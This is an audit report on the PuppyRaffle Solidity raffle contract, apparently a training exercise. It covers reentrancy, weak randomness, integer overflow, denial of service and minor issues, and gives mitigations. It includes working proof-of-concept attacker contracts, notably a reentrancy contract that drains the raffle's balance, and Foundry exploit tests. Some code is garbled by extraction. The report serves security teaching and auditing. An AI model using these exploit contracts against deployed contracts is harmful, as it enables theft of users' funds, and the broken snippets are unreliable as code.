```

# **Protocol Summary**

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- 1. Call the enterRaffle function with the following parameters:
  - 1. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- 2. Duplicate addresses are not allowed
- 3. Users are allowed to get a refund of their ticket & value if they call the refund function
- 4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- 5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

### **Roles**

• Owner: The only one who can change the feeAddress, denominated by the \_owner variable.

- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the feeAddress variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the players array. #

### [H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance

**Description:** The PuppyRaffle::refund function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance. In the PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after making that call do we update the PuppyRaffle::players array.

```
function refund(uint256 playerIndex) public {
   address playerAddress = players[playerIndex];
   require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
   require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

6 @> payable(msg.sender).sendValue(entranceFee);
   players[playerIndex] = address(0);

8 emit RaffleRefunded(playerAddress);
```

```
10 }
```

**Impact:** All fees paid by raffle entrants could be stolen by a malicious participant. **Proof of Concept:** 1. User enters the raffle 2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund 3. Attacker enters the raffle 4. Attacker calls PuppyRaffle::refund from their attack contract, draining the PuppyRaffle balance.

PoC Code

Add the following to PuppyRaffle.t.sol:

```
1 contract ReentrancyAttacker {
       PuppyRaffle puppyRaffle;
2
3
       uint256 entranceFee;
4
       uint256 attackerIndex;
5
6
       constructor(PuppyRaffle _puppyRaffle) {
7
            puppyRaffle = _puppyRaffle;
8
           entranceFee = puppyRaffle.entranceFee();
9
       }
10
11
       function attack() public payable {
12
           address:
13
           players[0] = address(this);
14
           puppyRaffle.enterRaffle{value: entranceFee}(players);
15
           attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
           puppyRaffle.refund(attackerIndex);
16
       }
17
18
       function _stealMoney() internal {
19
20
           if (address(puppyRaffle).balance >= entranceFee) {
21
                puppyRaffle.refund(attackerIndex);
           }
22
       }
23
24
25
       fallback() external payable {
26
            _stealMoney();
27
28
29
       receive() external payable {
           _stealMoney();
31
       }
32 }
34 // test to confirm vulnerability
35 function testCanGetRefundReentrancy() public {
36
       address;
37
       players[0] = player0ne;
       players[1] = playerTwo;
```

```
39
       players[2] = playerThree;
40
       players[3] = playerFour;
       puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
41
42
43
       ReentrancyAttacker attackerContract = new ReentrancyAttacker(
           puppyRaffle);
44
       address attacker = makeAddr("attacker");
       vm.deal(attacker, 1 ether);
45
46
       uint256 startingAttackContractBalance = address(attackerContract).
47
           balance;
48
       uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;
49
       // attack
51
       vm.prank(attacker);
52
       attackerContract.attack{value: entranceFee}();
53
       // impact
54
55
       console.log("attackerContract balance: ",
           startingAttackContractBalance);
       console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
56
57
       console.log("ending attackerContract balance: ", address(
           attackerContract).balance);
       console.log("ending puppyRaffle balance: ", address(puppyRaffle).
58
           balance);
59 }
```

**Recommendation:** To prevent this, we should have the PuppyRaffle: refund function update the players array before making the external call. Additionally we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
2
       address playerAddress = players[playerIndex];
3
       require(playerAddress == msg.sender, "PuppyRaffle: Only the player
          can refund");
       require(playerAddress != address(0), "PuppyRaffle: Player already
          refunded, or is not active");
       players[playerIndex] = address(0);
5 +
6 +
       emit RaffleRefunded(playerAddress);
7
       payable(msg.sender).sendValue(entranceFees);
8 -
       players[playerIndex] = address(0);
9 -
       emit RaffleRefunded(playerAddress);
10 }
```

[H-2] Weak Randomness in PuppyRaffle::selectWinner allows users to influence or predict the winner and influence or predict the winning puppy

**Description:** Hashing msg.sender, block, timestamp and block.difficulty together cre-

ates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

**Note:** This additionally means users could front-run this function and call refund if they see they are not the winner. **Impact:** Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if a gas war to choose a winner results.

**Proof of Concept:** 1. Validators can know the values of block.timestamp and block. difficulty ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. block.difficulty was recently replaced with prevrandao. 2. User can mine/manipulate their msg.sender value to result in their address being used to generate the winner! 3. Users can revert their selectWinner transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as Chainlink VRF

### [H-3] Integer overflow of PuppyRaffle::totalFees loses fees

**Description:** In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18446744073709551615
3 myVar = myVar + 1
4 // myVar will be 0
```

**Impact:** In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract

**Proof of Concept:** 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. totalFees will be:

4. You will not be able to withdraw due to the line in PuppyRaffle::withdrawFees:

```
1 require(address(this).balance ==
2 uint256(totalFees), "PuppyRaffle: There are currently players active!
");
```

### code

```
1 function testTotalFeesOverflow() public playersEntered {
       // We finish a raffle of 4 to collect some fees
2
       vm.warp(block.timestamp + duration + 1);
3
4
       vm.roll(block.number + 1);
5
       puppyRaffle.selectWinner();
       uint256 startingTotalFees = puppyRaffle.totalFees();
       7
8
9
       // We then have 89 players enter a new raffle
10
       uint256 playersNum = 89;
       address[] memory players = new address[](playersNum);
11
12
       for (uint256 i = 0; i < playersNum; i++) {</pre>
           players[i] = address(i);
13
14
15
       puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
       // We end the raffle
       vm.warp(block.timestamp + duration + 1);
17
       vm.roll(block.number + 1);
18
19
       // And here is where the issue occurs
21
       // We will now have fewer fees even though we just finished a
          second raffle
22
       puppyRaffle.selectWinner();
23
24
       uint256 endingTotalFees = puppyRaffle.totalFees();
25
       console.log("ending total fees", endingTotalFees);
26
       assert(endingTotalFees < startingTotalFees);</pre>
27
       // We are also unable to withdraw any fees because of the require
28
          check
29
       vm.prank(puppyRaffle.feeAddress());
       vm.expectRevert("PuppyRaffle: There are currently players active!")
       puppyRaffle.withdrawFees();
31
32 }
```

**Recommended Mitigation:** There are a few recommended mitigations here. 1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's SafeMath to prevent integer overflows. 1. Use a uint256 instead of a uint64 for total Fees.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

2. Remove the balance check in PuppyRaffle::withdrawFees

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding. ### [H-4] Malicious winner can forever halt the raffle

**Description:** Once the winner is chosen, the selectWinner function sends the prize to the the corresponding address with an external call to the winner account.

```
1 (bool success,) = winner.call{value: prizePool}("");
2 require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the winner account were a smart contract that did not implement a payable fallback or receive function, or these functions were included but reverted, the external call above would fail, and execution of the selectWinner function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the selectWinner function mints an NFT to the winner using the \_safeMint function. This function, inherited from the ERC721 contract, attempts to call the onERC721Received hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the onERC721Received hook expected. This will prevent minting the NFT and will revert the call to selectWinner.

**Impact:** In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

### **Proof of Concept:**

Proof Of Code

Place the following test into PuppyRaffleTest.t.sol.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
}
```

```
address[] memory players = new address[](4);
6
       players[0] = address(new AttackerContract());
7
       players[1] = address(new AttackerContract());
       players[2] = address(new AttackerContract());
8
9
       players[3] = address(new AttackerContract());
10
       puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
11
12
       vm.expectRevert();
13
       puppyRaffle.selectWinner();
14 }
```

For example, the AttackerContract can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

### Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
    implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

**Recommended Mitigation:** Favor pull-payments over push-payments. This means modifying the selectWinner function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of selectWinner.

### Medium

[M-1] Looping through players array to check for duplicates in PuppyRaffle::enterRaffle is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

**Description:** The PuppyRaffle::enterRaffle function loops through the players array to check for duplicates. However, the longer the PuppyRaffle:players array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the players array is an additional check the loop will have to make.

```
// @audit Dos Attack
@> for(uint256 i = 0; i < players.length -1; i++){</pre>
```

**Impact:** The gas consts for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue. An attacker might make the PuppyRaffle:entrants array so big that no one else enters, guaranteeing themselves the win.

**Proof of Concept:** If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6503272 gas - 2nd 100 players: ~18995512 gas. This is more than 3x more expensive for the second 100 players.

PoC

Place the following into PappyRaffle.t.sol:

```
1 function testDenialOfService() public {
2
       // Foundry lets us set a gas price
3
       vm.txGasPrice(1);
4
5
       // Creates 100 addresses
       uint256 playersNum = 100;
6
7
       address[] memory players = new address[](playersNum);
       for (uint256 i = 0; i < players.length; i++) {</pre>
8
9
            players[i] = address(i);
       }
10
11
12
       // Gas calculations for first 100 players
13
       uint256 gasStart = gasleft();
14
       puppyRaffle.enterRaffle{value: entranceFee * players.length}(
           players);
15
       uint256 gasEnd = gasleft();
16
       uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
       console.log("Gas cost of the first 100 players: ", gasUsedFirst);
17
18
19
       // Creates another array of 100 players
20
       address[] memory playersTwo = new address[](playersNum);
21
       for (uint256 i = 0; i < playersTwo.length; i++) {</pre>
22
            playersTwo[i] = address(i + playersNum);
23
       }
24
25
       // Gas calculations for second 100 players
       uint256 gasStartTwo = gasleft();
26
       puppyRaffle.enterRaffle{value: entranceFee * players.length}(
27
           playersTwo);
28
       uint256 gasEndTwo = gasleft();
       uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;
29
```

```
console.log("Gas cost of the second 100 players: ", gasUsedSecond);
assert(gasUsedSecond > gasUsedFirst);
}
```

## **Recommended Mitigation:** There are a few recommended mitigations.

- Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate
  check doesn't prevent the same person from entering multiple times, only the same wallet address.
- 2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
mapping(address => uint256) public addressToRaffleId;
1
        uint256 public raffleId = 0;
2
3
4
5
6
        function enterRaffle(address[] memory newPlayers) public payable {
            require(msg.value == entranceFee * newPlayers.length, "
7
               PuppyRaffle: Must send enough to enter raffle");
8
            for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
                players.push(newPlayers[i]);
9
                 addressToRaffleId[newPlayers[i]] = raffleId;
10 +
            }
11
12
13 -
            // Check for duplicates
            // Check for duplicates only from the new players
14 +
15 +
            for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
               require(addressToRaffleId[newPlayers[i]] != raffleId, "
16 +
       PuppyRaffle: Duplicate player");
17 +
             for (uint256 i = 0; i < players.length; i++) {</pre>
18
19
                 for (uint256 j = i + 1; j < players.length; j++) {</pre>
20
                     require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21
22
             }
23
            emit RaffleEnter(newPlayers);
       }
24
25
26 .
27 .
       function selectWinner() external {
28
29 +
            raffleId = raffleId + 1;
            require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

# [M-2] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

**Description:** The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart. Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

**Impact:** The PuppyRaffle::selectWinner function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting. Also, true winners would not be able to get paid out, and someone else would win their money!.

**Proof of Concept:** 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The selectWinner function wouldn't work, even though the lottery is over!.

**Recommended Mitigation:** There are a few options to mitigate this issue. 1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

### [M-3] Unsafe cast of PuppyRaffle:: fee loses fees

**Description:** In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.

```
1 function selectWinner() external {
       require(block.timestamp >= raffleStartTime + raffleDuration, "
          PuppyRaffle: Raffle not over");
3
       require(players.length > 0, "PuppyRaffle: No players in raffle");
4
       uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender
          , block.timestamp, block.difficulty))) % players.length;
6
       address winner = players[winnerIndex];
       uint256 fee = totalFees / 10;
7
      uint256 winnings = address(this).balance - fee;
8
9 @> totalFees = totalFees + uint64(fee);
10
       players = new address[](0);
11
       emit RaffleWinner(winner, winnings);
12 }
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

**Impact:** This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

### **Proof of Concept:**

- 1. A raffle proceeds with a little more than 18 ETH worth of fees collected
- 2. The line that casts the fee as a uint64 hits
- 3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

**Recommended Mitigation:** Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
uint64 public totalFees = 0;
2 +
       uint256 public totalFees = 0;
3 .
4
5
6 function selectWinner() external {
       require(block.timestamp >= raffleStartTime + raffleDuration, "
          PuppyRaffle: Raffle not over");
       require(players.length >= 4, "PuppyRaffle: Need at least 4 players"
8
          );
9
       uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender
           , block.timestamp, block.difficulty))) % players.length;
       address winner = players[winnerIndex];
       uint256 totalAmountCollected = players.length * entranceFee;
11
       uint256 prizePool = (totalAmountCollected * 80) / 100;
12
13
       uint256 fee = (totalAmountCollected * 20) / 100;

14 -
15 + totalFees = totalFees + fee;
```

# **Low Risk Findings**

#### Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

**Description:** If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas. **Proof of Concept:** 1. User enters the raffle, they are the first entrant 2. PuppyRaffle::getActivePlayerIndex returns 0 3. User thinks they have not entered correctly due to the function documentation

**Recommendations:** The easiest recommendation would be to revert if the player is not in the array instead of returning 0. You could also reserve the 0th position for any competition, but an even better solution might be to return an int256 where the function returns -1 if the player is not active.

## Gas (Optional)

### [G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable. Instances: - PuppyRaffle::raffleDuration should be immutable - PuppyRaffle::commonImageUri should be constant - PuppyRaffle::rareImageUri should be constant - PuppyRaffle::legendaryImageUri should be constant

### [G-2] Storage Variables in a Loop Should be Cached

Everytime you call players.length you read from storage, as opposed to memory which is more gas efficient.

# Informational / Non-Critical

### [I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0; use pragma solidity 0.8.0;

#### 1 Found Instances

• Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

### [I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. **Recommendations:** Deploy with any of the following Solidity versions: 0.8.18 The recommendations take into account: - Risks related to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

### [I-3] Missing checks for address (0) when assigning values to address state variables

Assigning values to address state variables without checking for address (0). - Found in src/PuppyRaffle.sol Line: 69 solidity feeAddress = \_feeAddress; - Found in src/PuppyRaffle.sol Line: 159 solidity previousWinner = winner; - Found in src/PuppyRaffle.sol Line: 182 solidity feeAddress = newFeeAddress;

## [I-4] does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to winner"
);
3     _safeMint(winner, tokenId);
4 + (bool success,) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to winner"
);
```

### [I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name. Examples:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

### [I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol. It is best practice to emit an event whenever an action results in a state change. Examples: - PuppyRaffle::totalFees within the selectWinner function - PuppyRaffle::totalFees within the withdrawFees function

## [I-7] \_isActivePlayer is never used and should be removed

**Description:** The function PuppyRaffle::\_isActivePlayer is never used and should be removed.

```
7 - return false;
8 - }
```
